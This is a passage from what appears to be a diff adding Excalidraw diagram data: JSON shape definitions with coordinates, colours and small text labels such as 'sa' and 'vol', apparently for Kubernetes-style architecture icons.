6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1627, + "versionNonce": 1270664416, + "index": "c0UZl", + "isDeleted": false, + "id": "56H1ctkmZzSqbUK-MEhob", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.471678909518175, + "x": 1473.1293052390738, + "y": -1101.4581852924032, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 801403320, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1680, + "versionNonce": 1481650400, + "index": "c0UZlG", + "isDeleted": false, + "id": "4c566tGdcQEo33dAtu5TA", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.391113754113791, + "x": 1487.4037829079534, + "y": -1116.4738166183413, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1388149432, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 3523, + "versionNonce": 1154946272, + "index": "c0UZlV", + "isDeleted": false, + "id": "JRZQ4GSZq1PXbzsxtPmwt", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2095.866933930175, + "y": -984.9769665778872, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 598565816, + "groupIds": [ + "AgJiJ4po6oz4ntNz_gDhX", + "OBN-FUtpSj8ZwXNIEOTrf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2369, + "versionNonce": 1189181664, + "index": "c0UZll", + "isDeleted": false, + "id": "yZZIlSmQKouJgrGD1jyN3", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2097.0247886980196, + "y": -985.8881681600187, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 12070072, + "groupIds": [ + "AgJiJ4po6oz4ntNz_gDhX", + "OBN-FUtpSj8ZwXNIEOTrf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "diamond", + "version": 1342, + "versionNonce": 1644125408, + "index": "c0UZm", + "isDeleted": false, + "id": "Bj79Fw3wnfKDsENwwFKtg", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2074.3176822456303, + "y": -969.2622255672889, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 48.50775772329105, + "height": 55.044002467510836, + "seed": 1669453240, + "groupIds": [ + "pmb3SVD5Bm7CHiKzOOi4S", + "OBN-FUtpSj8ZwXNIEOTrf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1512, + "versionNonce": 666943712, + "index": "c0UZmG", + "isDeleted": false, + "id": "P69OtCTMOizRzbJ63fSMf", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2073.5893375350715, + "y": -956.6618620746021, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 50.4014539707469, + "height": 52.36798468925869, + "seed": 1898864312, + "groupIds": [ + "pmb3SVD5Bm7CHiKzOOi4S", + "OBN-FUtpSj8ZwXNIEOTrf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.946848123727927, + 24.836554630093477 + ], + [ + 11.070839600510828, + 43.4093447493716 + ], + [ + 25.20072698537345, + 51.71247444975476 + ], + [ + 42.31682768353179, + 43.11800686514762 + ], + [ + 50.4014539707469, + 23.08852732474966 + ], + [ + 49.52744031807505, + -0.43700682633595234 + ], + [ + 3.423220139631752, + -0.6555102395039286 + ] + ] + }, + { + "type": "line", + "version": 1861, + "versionNonce": 2008392928, + "index": "c0UZmV", + "isDeleted": false, + "id": "Gr31StMi-eyyuWJRw8sIr", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2086.261558727171, + "y": -932.9273683994927, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 25.701674259092506, + "height": 23.42838906858775, + "seed": 174180280, + "groupIds": [ + "pmb3SVD5Bm7CHiKzOOi4S", + "OBN-FUtpSj8ZwXNIEOTrf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.4828349210523275, + 11.111377847549969 + ], + [ + 5.645454461534744, + 19.420472718884987 + ], + [ + 12.850837129546253, + 23.135126896658285 + ], + [ + 21.57900685626123, + 19.290133975805215 + ], + [ + 25.701674259092506, + 10.329345389071378 + ], + [ + 25.255980485813474, + -0.195508114619646 + ], + [ + 1.7456339453430385, + -0.293262171929469 + ] + ] + }, + { + "type": "ellipse", + "version": 1141, + "versionNonce": 1064175840, + "index": "c0UZn", + "isDeleted": false, + "id": "HTccDfxhEHYJyEdWuPhtJ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2090.7782727042854, + "y": -956.5890276035461, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 16.387755987598226, + "height": 16.16925257443036, + "seed": 1530925240, + "groupIds": [ + "pmb3SVD5Bm7CHiKzOOi4S", + "OBN-FUtpSj8ZwXNIEOTrf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1153, + "versionNonce": 981069024, + "index": "c0UZnG", + "isDeleted": false, + "id": "yUFzxg6J", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2086.1523045302865, + "y": -908.5945601950357, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 22.20016520186949, + "height": 22.935001028129516, + "seed": 1802320312, + "groupIds": [ + "OBN-FUtpSj8ZwXNIEOTrf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "sa", + "rawText": "sa", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "sa", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3339, + "versionNonce": 845762784, + "index": "c0UZnV", + "isDeleted": false, + "id": "tkJTdiNXKPHcJ3ki-Usjz", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1605.8991360150117, + "y": -980.3966245999729, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 772620984, + "groupIds": [ + "MxV1jXN0YgWI-R02WHKfH", + "n4-HICYhFErGNlozJg0fB", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2185, + "versionNonce": 1053570272, + "index": "c0UZo", + "isDeleted": false, + "id": "UR65EreZcmstpvGt024Kl", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1607.0569907828565, + "y": -981.3078261821049, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 298068920, + "groupIds": [ + "MxV1jXN0YgWI-R02WHKfH", + "n4-HICYhFErGNlozJg0fB", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2038, + "versionNonce": 87202016, + "index": "c0UZoG", + "isDeleted": false, + "id": "n8v1_JHlUxEQKmRtx5GsJ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1577.829143939789, + "y": -939.4391628026331, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 59.37137674309081, + "height": 27.221156128594433, + "seed": 280360120, + "groupIds": [ + "n4-HICYhFErGNlozJg0fB", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.3038170575611916, + 10.9393431170987 + ], + [ + 3.6252474283408214, + 19.27105211907502 + ], + [ + 19.207451286998833, + 24.708923261586346 + ], + [ + 41.18153876931043, + 24.867925341776683 + ], + [ + 55.26912307417885, + 20.034262103988922 + ], + [ + 57.749555525148864, + 11.734353518050673 + ], + [ + 58.06755968552963, + 4.229455333064291 + ], + [ + 56.44573846758773, + -0.5406070726473374 + ], + [ + 38.891908814568815, + -2.3532307868177478 + ], + [ + 0.22260291226651693, + -0.7632099849138022 + ] + ] + }, + { + "type": "ellipse", + "version": 1200, + "versionNonce": 2032958688, + "index": "c0UZoV", + "isDeleted": false, + "id": "djWbgFrecdKPYW4ZL64lv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1577.7311591908347, + "y": -947.1045876013161, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 58.28444896770605, + "height": 13.326343859450365, + "seed": 1082564024, + "groupIds": [ + "n4-HICYhFErGNlozJg0fB", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1098, + "versionNonce": 474603744, + "index": "c0UZp", + "isDeleted": false, + "id": "Fcr36F83", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1592.2874902429987, + "y": -908.0027913194206, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 24.585324755793753, + "height": 22.935001028129516, + "seed": 1650075320, + "groupIds": [ + "n4-HICYhFErGNlozJg0fB", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "vol", + "rawText": "vol", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "vol", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3910, + "versionNonce": 1041941728, + "index": "c0UZpG", + "isDeleted": false, + "id": "SuQ9rNoefvHsuIuBmmAA1", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1548.022414179191, + "y": -911.477183344999, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1926533048, + "groupIds": [ + "l5Rdkas9fOexwoS__ZS6A", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2756, + "versionNonce": 1009723616, + "index": "c0UZpV", + "isDeleted": false, + "id": "iFCshzbIFJQHiOmkmgGkv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1549.1802689470358, + "y": -912.3883849271303, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 974772408, + "groupIds": [ + "l5Rdkas9fOexwoS__ZS6A", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 3047, + "versionNonce": 1108806880, + "index": "c0UZq", + "isDeleted": false, + "id": "DSPWN9CutvV25xCbm9TPq", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1549.0283533247866, + "y": -898.907254909213, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 64.7088801862404, + "height": 64.26452098858984, + "seed": 1540227512, + "groupIds": [ + "FnlPCHTLI0WPz7ch14lde", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -25.806517693322068, + 12.318162269729697 + ], + [ + -32.06556116371734, + 41.06054089909901 + ], + [ + -14.347653493675317, + 63.882562468598216 + ], + [ + 14.34765349367535, + 64.26452098858984 + ], + [ + 32.64331902252307, + 40.9650512691011 + ], + [ + 26.28798257566017, + 12.2226726397318 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2046, + "versionNonce": 157446368, + "index": "c0UZqG", + "isDeleted": false, + "id": "fq6sAtZpZXNngr9w1ubEt", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1537.000442678233, + "y": -879.555506321258, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 1729432248, + "groupIds": [ + "Bcj7JEpjHRkk_tek6LEmy", + "9swTBYKhZx7IOD8qNhsQp", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2264, + "versionNonce": 430003424, + "index": "c0UZqV", + "isDeleted": false, + "id": "EuPrDrm3DKV1GIJ58LBcE", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1547.8144088245976, + "y": -879.585797542956, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 1720906680, + "groupIds": [ + "Bcj7JEpjHRkk_tek6LEmy", + "9swTBYKhZx7IOD8qNhsQp", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1979, + "versionNonce": 140753120, + "index": "c0UZr", + "isDeleted": false, + "id": "PeE7Kpax1rzKh0mG6X9GK", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1537.3942285603123, + "y": -880.252204420324, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 1886108856, + "groupIds": [ + "Bcj7JEpjHRkk_tek6LEmy", + "9swTBYKhZx7IOD8qNhsQp", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2071, + "versionNonce": 960077024, + "index": "c0UZrG", + "isDeleted": false, + "id": "JTFiuIoeUp9oGRbLfRE4k", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1550.7064934211733, + "y": -879.5637815511966, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 910386616, + "groupIds": [ + "oEnLmfblNOeb5L86edYFw", + "Qush3uP6Lu8dHnk5Wc7yc", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2289, + "versionNonce": 498270432, + "index": "c0UZrV", + "isDeleted": false, + "id": "4KBpr8Ez4bfvMQO9hIWMo", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1561.5204595675377, + "y": -879.5940727728955, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 356380344, + "groupIds": [ + "oEnLmfblNOeb5L86edYFw", + "Qush3uP6Lu8dHnk5Wc7yc", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2004, + "versionNonce": 1969218784, + "index": "c0UZs", + "isDeleted": false, + "id": "Oc3mhzwxIdrPF8ixZc2Sh", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1551.1002793032544, + "y": -880.2604796502624, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 637491128, + "groupIds": [ + "oEnLmfblNOeb5L86edYFw", + "Qush3uP6Lu8dHnk5Wc7yc", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2092, + "versionNonce": 231753952, + "index": "c0UZsG", + "isDeleted": false, + "id": "Utjg0cILgYCfmhTJma_vu", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1543.8452368441972, + "y": -892.1148606554209, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 1286316216, + "groupIds": [ + "xuJ39xyZSn8gSKnjqqLRU", + "WIIT0Ft1IaUsLi7d1ntlg", + "G9kOsNdXAq7mteUPD5u97", + 